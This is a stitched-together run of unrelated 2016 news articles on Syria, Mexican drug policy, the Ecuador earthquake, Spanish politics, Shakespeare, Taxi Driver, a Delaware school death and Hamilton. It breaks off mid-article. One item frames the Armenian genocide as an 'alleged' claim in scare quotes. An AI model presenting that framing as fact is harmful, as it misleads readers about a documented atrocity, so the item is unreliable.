In Geneva, the talks faltered this week as opposition delegates walked out in protest of what they said were Syrian regime violations of the cease-fire. On Friday, the head of the Syrian governments delegation to the negotiations, Bashar Jaafari, said that he had met with de Mistura and that the talks would resume Monday. The opposition, represented by the High Negotiations Committee, has said that technical representatives will remain in Geneva to discuss humanitarian aid.

The U.N.-supported negotiations have stalled over the oppositions demand that Syrian President Bashar al-Assad step down as a precondition for any political transition. The government delegation has said that Assads position as president is not negotiable.

With the cease-fire brokered by the United States and Russia under strain, the United States said this week that it was concerned about reports that Russia was rebuilding its military capabilities in Syria, where it began a military intervention last fall intended to boost Assad, a longtime ally. A few weeks ago, Russia said it was withdrawing its forces, but its troops and aircraft still appear to be participating in the fighting.

[Russian artillery, Syrian troops shifting back to northern Syria, defense officials say]

The Syrian Civil Defense force, a grass-roots volunteer unit that assists civilians in the aftermath of strikes, said Friday that its teams were reporting streets littered with bodies in such places as Aleppo, Syrias largest city.

We return to work with sadness and heavy hearts, the group, also known as the White Helmets, posted Friday on Twitter. Attacks are everywhere, it said in a separate post.

Also on Friday, regime forces clashed with Kurdish fighters in the northeastern city of Qamishli for the third straight day. Syrias ethnic Kurds have declared an autonomous zone in parts of northern Syria, raising tensions with government forces. Reports posted online by activists suggested that Kurdish forces from the Peoples Protection Units, or YPG, managed to wrest control of several regime positions in Qamishli. Later, activists said a truce was declared.

The YPG has emerged as a key ally for the United States in its campaign against the Islamic State militant group in Syria. The YPG has also taken advantage of Russian airstrikes to fight rebels in areas it believes should be under Kurdish control.

Read more:

Turkish-backed rebels in Syria make major gains against Islamic State

Weeks after pullout from Syria, Russian military is as busy as ever

Todays coverage from Post correspondents around the world
With a swipe of his pen this week, Mexican President Enrique Pena Nieto proposed that Mexican citizens could legally possess up to an ounce of pot.

The day before, Canadas health minister stood at a United Nations podium and announced that her country would introduce new federal legislation to make cannabis legal by next year.

Already, people are free to smoke marijuana in four U.S. states and the District of Columbia, and medical marijuana is allowed in almost half the country. Uruguay has fully legalized weed for sale. And a large chunk of South and Central America, including Brazil, Peru, Chile, Colombia, Ecuador and Costa Rica, have made marijuana more available in varying ways, whether it is for medicinal or recreational use.

In the shift toward legalization of marijuana, the Americas have emerged as a leader. This is a remarkable shift for a region that includes some of the worlds leading producers of marijuana, coca and opium poppy, and where the U.S. government has spearheaded a decades-long campaign against cultivation of the substances.

Its undeniable that the terms of the debate about drugs are changing in Mexico and in the world, Pena Nieto said during a speech Thursday announcing his new legislative proposal. Fortunately, a new world consensus is gradually emerging in favor of reform.





For many Mexicans, the prospect of such reform seemed unimaginable just a few years back. Using illegal drugs has long been taboo in this conservative, predominantly Catholic country  as is true in many other Latin American nations. Drug-trafficking groups have inflicted horrific violence on the country, with an estimated 100,000 people dying in the past decade as the cartels have battled for control of shipping lanes to the United States. Polls have shown a majority of Mexicans oppose legalizing drugs, fearing that would increase addictions and crime.

To have a Mexican president come out publicly in favor of loosening drug laws struck many people as historic.

This was the breaking point, said Jorge Diaz Cuervo, a Mexican economist and politician who recently published a book on the prospect of legalizing marijuana. There is now a before and after.

Pena Nietos initiative would make it legal for anyone to own up to 28 grams of marijuana  or one ounce  as long as it was intended for personal use. It would also permit the use of marijuana for medicinal purposes, and make it easier to free prisoners who are being held on minor drug charges. The move came after five public forums held across Mexico this year to solicit public opinion and expert testimony on the prospect of changing drug laws. Mexicans were previously allowed to possess up to 5 grams.

Pena Nieto spoke this week at a U.N. General Assembly special session on narcotics that had been scheduled at the request of Mexico, Colombia and Guatemala, the first such gathering in nearly 20 years. In his speech, he said that the policy of prohibition of drugs has failed, and that countries needed to look for an alternative.

His initiative would need legislative approval, although with presidential support many expect it has a good chance. The proposal was seen by legalization advocates as a welcome first step, although some argued that it was important to pass additional measures  such as allowing Mexican farmers to grow marijuana so that the medicinal industry could succeed.

Zara Snapp, a drug policy expert from Mexico, said it was important to move drugs out of the security realm and into the health and human rights space.

But opposition still is formidable in Mexico for blanket legalization of marijuana and other drugs.

And critics of Pena Nietos plan say that increasing the quantity of marijuana that adults can smoke will simply lead to more consumption and will not significantly reduce the business of drug cartels, which make money in diverse ways, including extortion, human trafficking and the trafficking of cocaine and heroin.

Elias Octavio Iniguez Mejia of the right-leaning National Action Party, who serves as president of the health commission in the lower house of congress, said that he would consider medicinal use of marijuana, as long as studies on its effects were done in Mexico by Mexican institutions. But he remains firmly opposed to recreational use.

Its not a panacea, nor is it going to decrease crime, he said. He predicted that Mexico will enter a dynamic where our children, who are a vulnerable group, will see consumption as a normal thing.

Alejandro Gertz Manero, a former Mexico City police chief and ex-federal secretary of public security, said that the only thing that would come from the proposed reforms is narcos are going to become respectable businessmen.

This is a veritable circle of contradictions, of scandalous affirmations, of evasion of responsibilities, he said. We should diagnose and find solutions, but whats happening now is the height of ridiculousness.

A shift in mind-set

Past legislative efforts to decriminalize marijuana use in Mexico have failed. One of the driving forces behind such efforts was Fernando Belaunzaran, who served as a congressman from the left-wing Party of the Democratic Revolution (PRD) until last year.

Last April, Belaunzaran received a text message asking for help from Raul Elizalde, a businessman in Monterrey whose 8-year-old daughter, Grace, suffered from severe epilepsy. Elizalde wanted to provide his daughter with marijuana oil, an experimental treatment available in the United States and Europe, but Mexico had banned the substance.

After a judge ruled in favor of the Elizaldes, and they won access to the substance, Graces case became a symbol in Mexico of the burgeoning debate over marijuana use. Pena Nieto, who appeared at a news conference at the health ministry in Mexico City on Thursday with Raul Elizalde, said his decision to push reforms was motivated by a desire to avoid the suffering of girls, boys and patients, like Grace, who have epilepsy or other conditions and cant access effective therapies.

Pena Nieto also highlighted the problems of Mexicos prison system, crowded with low-level drug offenders. He warned against the injustice that thousands of people, especially women, many of them mothers, suffer for being turned into criminals for consuming marijuana.

Pena Nieto is considered a conservative on the drug issue, so his announcement surprised some Mexicans. But in recent months, the debate has changed. Last fall, the Supreme Court ruled that a group of activists could legally grow and sell marijuana. The Senate is also considering legislation to have a state-regulated marijuana industry.

Earlier this month, Mexican newspapers reported that Pena Nieto wasnt planning to attend the U.N. drug summit. But after reviewing the results of the public forums, Pena Nieto decided to go.

After his speech Thursday, he shook hands with Belaunzaran, the former congressman who has long advocated for legalization.

Congratulations on this first step, Belaunzaran told him.

It is a first step, Pena Nieto agreed.

Gabriela Martinez in Mexico City contributed to this report.

Read more

U.S. blocks some anti-drug funds for Mexico over human-rights concerns

Residents in a Mexican neighborhood miss the cartel that protected them

Todays coverage from Post correspondents around the world
The death toll from the powerful earthquakes that struck Ecuadors Pacific shore on April 16 rose to 553 Wednesday, with far many more still counted among the missing.

The quake, which measured 7.8 on the Richter scale, shook Ecuadors northern coast near the Colombian border. It was felt along the coast and inland, as far south as Peru, and caused a blackout in Ecuadors capital, Quito. The quake, the most intense since 1979, lasted for a long time and was followed by hundreds of aftershocks.

These are difficult moments for our nation, declared President Rafael Correa, who declared this quake was the greatest tragedy in 67 years, (since the Ambato Earthquake of August 5, 1949). Hundreds of homes have been destroyed and residents have been left without shelter, and with inadequate food and water.

The earthquakes epicenter was between the cities of Pedernales and Cojimies in Manabi province, 310 kilometers northwest of Quito. Also severely impacted were the coastal provinces of Esmeralda, on the Colombian border, and Guayas. Further west, the provinces of Santa Elena, and Santo Domingo de Tsachilas also shook. On Wednesday April 20, a second earthquake, measuring 6.1 on the Richter scale, hit the already devastated region.

The coastal region is a center of tourism, and also includes some of the poorest inhabitants of that Andean nation. Ecuador as a whole is one of the most impoverished and socially polarized nations in Latin America. With poverty rates of over 50 percent (and more than 60 percent on the north coast), Ecuador is the fourth poorest country in South America. Young people in the region are often forced to migrate, and their families depend on the funds that they send back.

In addition to the dead, as of Wednesday there were more than 4,500 reported injured, while estimates of the number missing varied widely. The attorney general put the figure at 1,700, while the Defense Ministry estimated 231. Many remain trapped in the rubble of homes, hotels and bridges. Teams from Mexico, Colombia, El Salvador and other Latin American nations are helping with the rescue effort, which is made more difficult by the flooding of coastal highways. The death toll is expected to continue rising.

Four days after the quake, there were signs of growing anger among the residents of Esmeralda and Manabi. According to the Madrid daily El Pais, in addition to the residents worries over the destruction of roads, homes and telephone links, there are shortages of water and food. The Bogota daily El Tiempo interviewed Pedernales residents: We sleep in cars, in the street. While my family and I have managed to find food, we are in bad shape, very bad shape, declared Steve Castro.

In Pedernales, a city of 56,000 inhabitants, both the extent of the damage and the absence of basic resources, belie a serious lack of foresight--indifference really--to the effects of a major earthquake in the region. There were no body bags in the towns of the region, no portable bathrooms, no emergency lights, no mosquito netting and no stored food, not even disposable gloves. Outside of downtown, corpses are seen on sidewalks, covered with blankets and waiting to be picked up. Many of the survivors had no protection against the rain that followed the earthquake; others, fearing a Tsunami wave, moved into the hills above Pedernales.

Further south, in Puertoviejo, survivors are living in makeshift tents in the Cayanbe public park, where entire families congregate with whatever belongings they have managed to salvage. Doctors at a nearby mobile clinic report that the dust stirred up by the collapsing structures caused allergic reactions in many; this problem is compounded by weakness and dehydration due to the scarcity of food.

Pedernales Mayor Gabriel Alcivar has called for voluntary rationing, such as people sharing water bottles. Alcivar has appealed for more rescue workers in his city, while at the same time pointing out that all those volunteers also need to be fed and sheltered.

Many mobile hospital units, promised by President Correa, have yet to arrive. The Colombian government has announced plans to deliver humanitarian assistance, such as emergency rations, portable sanitary facilities and blankets.

The only element in abundance, is human resources, writes El Pais, the last group of corpses found on Sunday were found at midnight by a group of fire fighters from Machachi and Tabacundo [towns near Quito] that had labored for more than 10 hours and only stopped when they found five people that were patrons of the Chimborazo hotel, whose three stories collapsed. Captain Jose Velazquez, who led this indefatigable team declared: this is very traumatic. We found a child and father, hugging each other, who had been imprisoned by a collapsed metal gate. To see that was very hard on us. The firefighters are being aided by hundreds of volunteers who mostly arrived on their own from across Ecuador and Colombia. Late on Tuesday, six people were found alive in the city of Manta. Many of the volunteers and much of the material aid has arrived through spontaneous drives on social media.

Given the high temperatures in the region (well over 30 degrees Celsius--86 degrees Fahrenheit), the stench of death has invaded the towns in the region, and is expected to get worse. Mosquito swarms have become a problem. The World Health Organization and the United Nations Childrens Fund (UNICEF) issued a warning Tuesday about the danger of eruptions of the Zika virus, dengue and other diseases carried by mosquitoes. The warning indicated that stagnant waters and the lack of working sewers, even in government-provided shelters, all contributed to outbreaks of diseases. UNICEF also worries about the lack of sanitation and poor-quality water, particularly in the coastal communities, which are among the most impoverished in Ecuador.

Marcela, an elderly Manabi resident, originally from Colombia, declared, Everything that we are living through reminds us of other tragedies in Colombia, such as the Armero landslide and the Armenia earthquake.

All the elements are in place for a public health emergency: high heat, coupled with lack of water and sanitation, food shortages and mosquitoes. Though people have been pulled alive from the rubble, clearly time is running out for those that may still be alive among the ruins.

Further south the most affected area was the port city of Guayaquil, though not directly on the coast. It was there that an important bridge in the center of town collapsed, as well as homes and downtown shopping centers. A young woman was reported dead from collapsing debris at a shopping center. A motorist was killed when a pedestrian pathway collapsed on his automobile at the Guayaquil airport.

President Correa estimates that the reconstruction of the destroyed infrastructure will cost Ecuador some US$3 billion, 3 percent of the countrys gross domestic product. The disaster comes on top of the countrys slide into deep recession driven primarily by the fall in the price of oil. The International Monetary Fund has forecast a 4.5 percent contraction of Ecuadors economy this year.

Facing demonstrations and mass strikes by Ecuadorean workers and the indigenous population, Correa has been forced to renounce a bid for another presidential term.
Attempts to form a new government in Spain have stalled, raising the possibility of fresh elections being called.

The breakup of the decades-long two-party system in the general election in December left a hung parliament divided among four main parties, the Popular Party (PP), Socialist Party (PSOE), Podemos and Ciudadanos (Citizens).

Attempts to cobble together a coalition have repeatedly failedthe most recent being that between the PSOE and Citizens. That pact required the support of Podemos, but to be seen to be cooperating with Citizens would have totally exposed the political pretensions of the pseudo-left party.

King Felipe VI is to hold a new round of consultations beginning April 25. Podemos is making a last ditch attempt with pleas to the PSOE to form a so-called Government of Change that would include the Communist Party-led United Left (IU) and Valencian nationalist Compromis and require the support or abstention of Catalan and Basque nationalists.

If a power-sharing agreement is not reached by May 2, new elections will be held on June 26. Polls suggest the voting will be similar to that in December, although the situation is volatile and difficult to predict as 40 percent of voters are still undecided.

On Monday, Podemos announced the results of a referendum that was held last week after three-way talks with the PSOE and Citizens broke down. Podemos members were asked two questions:

Do you want a Government based on the PSOE-Citizens pact?

Do you agree with our proposal for a Government for Change with Podemos, En Comu Podem (Podemos in Catalonia), and En Marea (a coalition in Galicia involving Podemos, the Anova-Nationalist Brotherhood, the IU and various municipal alliances)?

Both options were variants on a coalition with the PSOE.

Announcing the results, Podemos Organisation Secretary, Pablo Echenique, declared that of the partys 393,538 registered members just 149,513 (37 percent of the total) voted. Some 88 percent opposed the PSOE-Citizens pact and 92 percent backed the Government of Change proposal.

That so few bothered to vote in such a critical decision reveals the true level of commitment among Podemos members, or more properly what its real membership is. Echenique attempted to downplay the low turnout, claiming that the voting registration system was changed so that only those who had regular involvement with the party could participate.

After the result was announced Podemos number two and Political Secretary Inigo Errejon declared, The results are clear and the popular mandate will guide the next steps.

One of the partys co-founders and Secretary of Political and Social Analysis, Carolina Bescansa, warned the PSOE that if it did not take the hand we are holding out for a coalition government it would have many difficulties in an election campaign. Podemos mayor of Madrid, Manuela Carmena, called on all persons able to reach an agreement to enable the formation of a government of change in order to prevent a new election and end the cycle of the PP in power.

One of the things I like best is how in this city municipal government, we are in the minority [but] we achieved agreements, Carmena explained, adding that My view is moving away from the use of political parties as instruments of representation in representative democracy. I orient more to the establishment of broad frontsthat is, power at any cost.

The referendum was a manoeuvre by the Podemos leadership to shield itself from the charge that it was responsible for new elections should they be called and bolster its negotiations with the PSOE. This week, Podemos leader Pablo Iglesias called on PSOE leader Pedro Sanchez to ballot his members on Podemos Government of Change proposals.

Central to the proposals were what Iglesias called 20 concessions to the PSOE that he had made with terrible pain. They represent a wholesale capitulation to the austerity regime demanded by the European Commission, International Monetary Fund and European Central Bank and reveal the fraudulent nature of Podemos claim to be an anti-austerity party.

In reply to those who called the concessions a betrayal of Podemos principles, a party spokesperson was forced to state with unparalleled cynicism, We will continue in our line. Yield, yield and yield. But yielding without betraying the backbone of our national project.

In the event, Podemoss pleas for a deal were rejected with Iglesias declaring, On the part of the PSOE we received an explicit refusal to explore the possibility They were very clear in telling us their framework is the only possible, as they are firmly tied to Citizens.

However, PSOE Congress spokesman Antonio Hernando, revealed that of Podemos 20 proposals the PSOE was happy with 70 percent of them. This statement alone is ample evidence that the political differences between Podemos and the PSOE, a right-wing party that for decades has proven in practice its pro-capitalist, anti-working class credentials, are minimal. A last-minute agreement is entirely possible, as was shown in Greece where last year Podemos ally Syriza formed a government with the far-right Independent Greeks in order to impose savage austerity measures.

Like Syriza, Podemos is a bourgeois party that is hostile to the working class and supports the framework of war and austerity imposed by the European Union. It reflects the interests of upper middle class layers of entrepreneurs, professionals, and academics who will implement whatever is required to get a shot at state power.

However, Sanchez is in the grip of a serious dilemma. On the one hand, the PSOE faces the possibility of electoral annihilation should there be any rapprochement with the PPwhich was thrown into deeper crisis over the resignation last Friday of Jose Manuel Soria from his positions as Congress deputy, Industry Minister and PP regional chairman in the Canary Islands after his name appeared in the Panama Papers. On the other, the majority of the PSOE leadership, led by the president of Andalusia, Susana Diaz, have been vehemently opposed to any alliance with Podemos and would prefer one with the PP.

This week acting deputy PP prime minister, Soraya Saenz de Santamaria, warned Sanchez that all his left-wing aspirations had failed and demanded he drop his opposition to talks with the PP. The PP number three, Fernando Martinez-Maillo, said, We are going to keep until the last day our proposal for a grand coalition.
From Cosmopolitan

A new study shows that eating disorders like anorexia, bulimia, and binge eating may be more prevalent at schools where a greater portion of the students are girls than boys, according to a press release from the University of Oxford, which means the school you attend might effect your chances for developing such a disorder.

The study was published yesterday in the International Journal of Epidemiology, and pulled from data from Sweden. Researchers on the study found that - even when taking individual background factors into account - there were still differences in eating disorder rates according to the school someone attended. Girls who go to schools with higher proportions of female students were more likely to be diagnosed with an eating disorder than girls who went to predominantly male schools.

Of course the key word is diagnosed. As Dr. Helen Bould, child and adolescent psychiatrist at the University of Oxford and the lead researcher on the study, said, "it could be that some schools are better than others at identifying eating disorders in their students and ensuring they get diagnosed and treated." So, based on the results of this study, it's possible that schools with more girls in attendance are just better at spotting the signs.

"Unfortunately, this study can't tell us what it is about schools that affects the rates of eating disorders," Gould said in the study's press release. "It might be an unintentional effect of the aspirational culture of some schools that makes eating disorders more likely; it might be that eating disorders are contagious and can spread within a school."

Women are much more likely to develop an eating disorder than men in general, according to the National Association of Anorexia Nervosa and Associated Disorders, and rates among adolescents are particularly high - 95 percent of people with eating disorders are between the ages of 12 and 26. Things are especially dire for young women. The mortality rate associated with anorexia is 12 times higher than the death rate for all other causes of death for girls between 15 and 24.

For more information on eating disorders, you can go to the National Institute of Mental House website.

Follow Hannah on Twitter.
By Sarah Young LONDON (Reuters) - Some of Shakespeare's best known characters - Romeo and Juliet, Hamlet and King Lear - will be featuring along a stretch of the River Thames this weekend, as part of celebrations to mark the 400th anniversary of the death of England's greatest playwright. Short films of the Bard's plays will be screened along the south bank of the river, while in the middle of the 2.5 mile (km) route, the Globe theater will stage a production of Hamlet which returns to London after touring 189 countries in two years. Dominic Dromgoole, the artistic director of Shakespeare's Globe theater, said the Hamlet tour, which this month alone has performed in Kabul, Afghanistan, and Elsinore, Denmark, where Shakespeare set the play, demonstrated Shakespeare's enduring relevance. "He gives you life, and anything that gives you life rather than takes it away is always going to be popular," Dromgoole said in an interview on Friday. Hamlet, the story of melancholy Danish prince and his doubting quest to avenge a murdered father, captured audiences across the world, said Dromgoole. "In some places it provokes, in some places it challenges, in some places it consoles, in others it inspires," he said. Non-English speaking audiences were provided with synopses and translators, with memorable performances taking place in Somaliland, Dromgoole said, remembering the cast being followed by trucks full of "boys with AK47s". They also performed for Syrian refugees at the Zaatari camp in Jordan, where the play was interrupted by a sandstorm, and at the migrant shanty town nicknamed the "Jungle" outside France's northern port of Calais. The final performances of the Hamlet world tour will be staged on Sunday in the open-air core of the timbered, curved-walled Globe, a 1990s replica of the famous theater which was burned to the ground in 1613. Those without a ticket will still be able to celebrate Shakespeare through the film project, named "The Complete Walk". It will screen 37 short films, one for each of Shakespeare's plays, shot in locations from Athens to Vienna where the playwright had set his stories but never visited. Highlighting Shakespeare's international appeal, the Complete Walk is also being exported to cities beyond Britain including Madrid, Gdansk and Taipei. Shakespeare's birth place Stratford-upon-Avon will also host celebrations and a parade on Saturday and Sunday. (Writing by Sarah Young, additional reporting by Sara Hemrajani; editing by Stephen Addison)
Robert De Niro in Taxi Driver (Everett)

Robert De Niro knew it was coming. Taking the stage at New Yorks Beacon Theatre to introduce the Tribeca Film Festivals 40th anniversary screening of Taxi Driver on Thursday night, he made sure to address the line on everyones mind. Every day for 40 fing years, at least one of you has come up to me and said  what do you think You talkin to me? That phrase, of course, is one of the many highlights of Martin Scorseses classic portrait of alienation in 70s-era New York, uttered by the titular cab driver, Travis Bickle, while preening in front of a mirror. Knowing thats the line the audience most wanted to hear, De Niro led the packed house in a mass recitation. Thank you. Try not to laugh at that scene during the movie, the actor said, with equal parts good humor and exasperation.

Sure enough, only a few hardy souls laughed when De Niros younger self asked, You talkin to me? during the film. The rest of the crowd sat immersed in Scorseses fever dream of a bygone New York, one in which Times Square was the opposite of tourist-friendly and signs of urban decay were visible on almost every block. We were all saving our laughter and applause for the post-screening conversation, when an all-star panel took the stage to share their memories of making the film during a blistering hot New York summer 40 years ago. Scorsese and De Niro were joined by Taxi Driver screenwriter Paul Schrader, as well as one-half of the films producing team, Michael Phillips (his wife and creative partner, Julia Phillips, passed away in 2002) and Jodie Foster, Cybill Shepherd and Harvey Keitel. Here are some of the highlights of that conversation.

Cybill Shepherd, Martin Scorsese, Robert De Niro, Jodie Foster and Harvey Keitel on Thursday night (Larry Busacca/Getty Images for Tribeca Film Festival)



Writing Taxi Driver Was Self-Exorcism for Schrader

Decades before he directed an actual Exorcist film, Schrader wrote Taxi Driver as a way to divest himself of an evil spirit he felt had taken hold of his body. There was a person who I was afraid of becoming, and that was this taxi driver. I thought if I wrote about him, I could distance him from me. And it worked! [During shooting] Bob, Marty and I never talked much about the script, because we knew this guy. [We were] three young men at a certain moment in their lives who shared a common pathology. Perhaps recognizing Traviss connection to Schrader, De Niro modeled some of the characters sense of style after his creator, specifically his boots and bomber jacket.

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Taxi Driver Could Have Been a Brian De Palma Movie

The director of underground hits like Hi, Mom! (starring a very young De Niro) was the first filmmaker to read Schraders completed screenplay for Taxi Driver, which Schrader passed along to the filmmaker while writing a profile of him in 1972. While he liked the script, De Palma felt he wasnt the right person to make it, and so he handed it off to producers Mike and Julia Phillips, who happened to be his neighbors. The script eventually found its way into Scorseses hands, but at that point, his filmography was too limited to land the gig. When the producers saw Scorseses 1973 crime drama Mean Streets, they knew they had their director and star, both of whom stuck with the project even as their careers were taking off. Bobby had won an Oscar for The Godfather, Part II and Marty was recognized as a star director, but they hung in there at bargain basement prices, Phillips said.

De Niro Hacked It for 10 Days

Before shooting started, De Niro demonstrated his intense commitment to the role by piloting a cab around New York for almost two weeks. While most of the citys residents were too jaded to realize they were being chauffeured by a celebrity, one person was caught off guard. As Scorsese recalled to De Niro: You told me that a guy got in the car, noticed your name on the drivers license and said, My God, you just won an Oscar! Is it that hard to get jobs?

Foster and De Niro in Taxi Driver (Everett)

Big Pimpin

Scorsese originally offered his Mean Streets star Harvey Keitel the role of the nerdy campaign worker that Albert Brooks eventually played. But Keitel was dead-set on playing Sport, the pimp who keeps a close eye on Fosters child prostitute, Iris. There was just one problem: The actor didnt know the first thing about being a pimp. I was in a Broadway show at the time, and a lot of the girls would hang out on 9th and 10th Avenue. One night, I went up to one of the girls and said, Excuse me, my name is Harvey Keitel and Im doing a movie. I explained to her about playing a pimp and asked if she could help me out. She looks at me and goes, No ones going to talk to you! Eventually, Keitel did connect with a pimp, who told him about the ins and outs of the business. I would play the girl, and he would tell me what it was like to play the role of the pimp. We had a good business together!

Fosters Age Raised a Ruckus

After a successful career as a Disney child star, Foster felt an urge to pursue more grown-up material, and was encouraged to do so by her mother, who was eager for her daughter to have a meaningful career. Not everyone proved so open-minded, though. According to Foster, Californias Board of Education declined to issue her a work permit to make Taxi Driver, requiring her family to retain a lawyer. Eventually, the board acquiesced, provided that Foster submit to a lengthy psychological examination. And the interference didnt end there. For the movies bloody climax, the crew had to spend three months ripping out the ceiling so that Scorsese could film that famous overhead tracking shot presenting the carnage of Traviss shooting spree. When it came time to shoot that scene, the child labor law person told us we only had 20 minutes, Scorsese remembers. We kept begging for more time, [but] we got it in two takes.

De Niros Mohawk Is Movie Magic

De Niro and Scorsese remembered that they modeled Traviss late movie Mohawk look after a mutual friend who served in the Special Forces during the Vietnam War. Because the actor had to go straight into another film  the period piece, The Last Tycoon  right after Taxi Driver wrapped, he was concerned about giving himself such an extreme makeover. So the films makeup artist, Dick Smith, came up with a hairpiece that looks even more unnerving than the real thing. It certainly worked for Scorsese. I remember I had fallen asleep while Bob was getting the headpiece on. I felt a tap on my shoulder, and I look up and theres this thing! It was terrifying.

Watch a trailer for Taxi Driver:

Bernard Herrmann Was a Real Character

Before Taxi Driver, Scorsese made a point of integrating existing music into his films, such as the blast of the Ronettes Be My Baby during the opening credits of Mean Streets. But early on, he realized something important about Travis. He doesnt listen to any music! The only person who could express what hes [feeling] was Bernard Herrmann. So Scorsese personally sought out the legendary film composer behind such scores as Citizen Kane and Psycho, who at that point was living in semi-retirement in London. I told him, I would like you to take a look at this script: Its called Taxi Driver. And he said, I dont do films about cabbies!

When he finally did read the script, he instantly responded to the main character. (According to Scorsese, Herrmanns favorite detail about Travis was that he mixed his cereal with peach brandy.) Taxi Driver proved to be his last completed job as a composer; he passed away in 1975 after wrapping his second and final day of work recording the soundtrack. His last act was to come up with a sting for the final shot of the film, where Travis gazes quickly into his rearview mirror. He went to the xylophone and hit it a number of times, and said, Play it back. I did and said, I need something special. And he said, Play it backwards, and walked out. Last time I saw him, said Scorsese.
The fight between the victim Amy Inita Joyner-Francis and two other teens was reportedly over a boy.

A school assault in Delaware Thursday morning (April 21) turned deadly when a teenager was pronounced dead following the fight with two other teens.

The News Journal reports Amy Inita Joyner-Francis died shortly after she was airlifted to a local hospital. The incident took place inside a bathroom at Howard High School of Technology in Wilmington at about 8 a.m. Students gave conflicting reports about the origin of the fight. While many claimed the fight was centered around a love triangle, friend and fellow student Kayla Sutrell, stated otherwise. Sutrell told the news outlet she spoke with Joyner-Francis Wednesday who said she planned to settle beef with another teen that had nothing to do with any boys.

A witness who was in the bathroom says during the fight, Francis-Joyner slipped and hit her head on the sink, falling unconscious.

She was fighting a girl and then thats when all these other girls started banking her  like jumping on her, the student said. Police do not believe weapons were used. Two teens who were a part of the fight were taken in for questioning by police.

Soon after news traveled of the teens death, #RIPAMY trended on social media, following the passing of music icon, Prince. Shytera Dawkins, another friend of Amy described the 16-year-old as energetic and bubbly.

All I wanted to do with my friend was walk across the stage and get our diplomas, the 16-year-old said. And now that dream is taken away because shes not there.

Officials also spoke to reporters about the tragedy. Attorney General Matt Denn called the news shocking.

Ive dealt with the details of a couple of dozen homicides, and theyre all tragedies, Denn said. But the brutal beating death of a child, allegedly at the hands of another child, in a school is shocking even to those of us whose daily work involves dealing with the aftermath of violence.

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Principal Stanley Spoor and Wilmington Mayor Dennis Williams held a conference where they sent condolences to the teens family.

My heart is broken, Williams said. I am so upset that a young lady lost her life today. Things like this shouldnt happen. My heart bleeds for the family, the kids who go to this school and the administrators, and our city.

Students are expected to return back to school tomorrow, but with an early dismissal. Grief counselors and mental health groups will also help students express their feelings on the incident.

Police are still investigating what actually caused the fight in the bathroom.
On this day in 1755 or 1757, Alexander Hamilton was born in the Caribbean.

If you need a quick primer on Hamilton, here are the essential facts about him.

1. Where is Nevis and why do we care?

Hamilton was born on January 11, in either 1755 or 1757, on the island of Nevis in the British West Indies. (There is a dispute among historians about his actual birth year.) Today, Nevis and St. Kitts are one country, known as the Federation of Saint Kitts and Nevis. His father was from Scotland; his mother from Nevis. Hamilton left the island as a teenager to live in North America.

2. Hamiltons skills as a writer let him leave Nevis

In August 1772, Hamiltons letter to his father about a hurricane that struck Nevis was reprinted in a newspaper, the Royal Danish American Gazette. The locals were so impressed that they took up a collection to send Hamilton to a college in the British North American colonies. Princeton rejected Hamilton, but Kings College (later known as Columbia) accepted him.

3. Hamilton fought with honor in the Revolutionary War

Through his efforts as a volunteer, young Hamilton became General George Washingtons aide de camp, or his right-hand man. Hamilton also personally led an attack and charge at the Battle of Yorktown on a British redoubt.

4. Hamilton was a mostly self-taught lawyer

After resigning his military commission, Hamilton was able to study the law and pass a legal examination within six months in 1782. He had been reading the law on his own in Nevis and at Kings College, and had studied with John Jay and William Paterson, two future Supreme Court Justices.

5. He helped promote the Constitutional Convention of 1787

Hamilton was agitated with the weak Confederation Congress and the Articles of Confederation, so he worked with James Madison and other Founders to hold the Annapolis Convention in September 1786. There, Hamilton introduced a resolution for more delegates to meet at Philadelphia on the second Monday in May next, to take into consideration the situation of the United States.

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6. Hamiltons constitutional legacy was the Federalist Papers

Hamilton wasnt a big presence at the 1787 Convention in Philadelphia because he was the minority voice in the New York delegation. But he played a big role in helping the Constitutions ratification as one of the three authors of the Federalist Papers, along with Madison and Jay. Hamilton wrote 51 of the 85 essays, which are still consulted today by scholars and the Supreme Court. But his authorship wasnt made public until after his 1804 death.

7. Hamilton founded the Treasury Department and strengthened the banking system

If that wasnt enough, President Washington appointed Hamilton as the first Secretary of the Treasury, when the new nation was facing a steep financial crisis. Hamilton brokered a solution to paying off the former colonies war debt, and then organized the Treasury Department as a powerful unit. Hamilton also formed the First Bank of the United States, and he was able to convince other nations that the United States was financially sound.

8. Hamilton inspired the first American political party

Hamiltons moves as Treasury Secretary and as a proponent of a strong central government led to the unofficial formation of the Federalist Party by 1791. In response, leaders like James Madison and Thomas Jefferson formed a political faction known as the Republicans that directly objected to Hamilton and his ideas. (Washington approved of many Federalist principles but wasnt a party member.) The partisan clashes between the two groups would persist until Hamiltons death.

9. Hamilton helped his own political enemy become President

In the deadlocked 1800 presidential election, a House of Representatives controlled by the Federalists had two Republican candidates to choose from: Jefferson and Aaron Burr. Hamilton wrote a private letter to a House member urging that Jefferson, Hamiltons political enemy, become the next President. Mr. Burr loves nothing but himselfThinks of nothing but his own aggrandizementand will be content with nothing short of permanent power in his own hands, Hamilton wrote. In a choice of Evils, let them take the leastJefferson is in my view less dangerous than Burr.

10. The never-ending duel controversy

The deadly duel between Hamilton and Burr in July 1804 was years in the making; the two men had been rivals in New York before the 1800 election, and Hamilton worked to deny Burrs election to the New York governorship. After Hamilton wouldnt retract an insult, the two men and their seconds met in Weehawken, New Jersey, with Burr shooting Hamilton, and Hamilton dying the next day.

But what happened during the duel? Did Hamilton deliberately misfire? Or did someone introduce a hair-triggered pistol into the mix? Was Burr obligated under the dueling code to not shoot Hamilton? The only witnesses were the mens seconds, who wrote a joint account of the incident. Both parties presented and fired in succession. The intervening time is not expressed, as the seconds do not precisely agree on that point. The fire of Colonel Burr took effect, and General Hamilton almost instantly fell, goes the account, with the witnesses disagreeing on who shot when.

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Baku, Azerbaijan, Apr.22

By Rufiz Hafizoglu - Trend:

Turks residing in the US will hold large-scale protest actions against Armenian claims regarding the 1915 events, the Anadolu Agency reported Apr.22.

The protest actions will be held in New York and other large cities of the US with participation of representatives of Azerbaijani, Pakistani and Arabian communities.

Armenia and the Armenian lobby claim that Turkey's predecessor, the Ottoman Empire allegedly carried out "genocide" against the Armenians living in Anatolia in 1915. Turkey in turn has always denied "the genocide" took place. While strengthening the efforts to promote the "genocide" in the world, Armenians have achieved its recognition by the parliaments of some countries.

Edited by SI

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Follow the author on Twitter: @rhafizoglu
An online associate degree program might not be a fit for everybody, but experts say there are benefits to choosing this route to an education.

In a lot of cases, prospective students may want a degree but are unsure if they will have time for a bachelor's, says Megan Foster, an admissions counselor at Pennsylvania State University--World Campus.

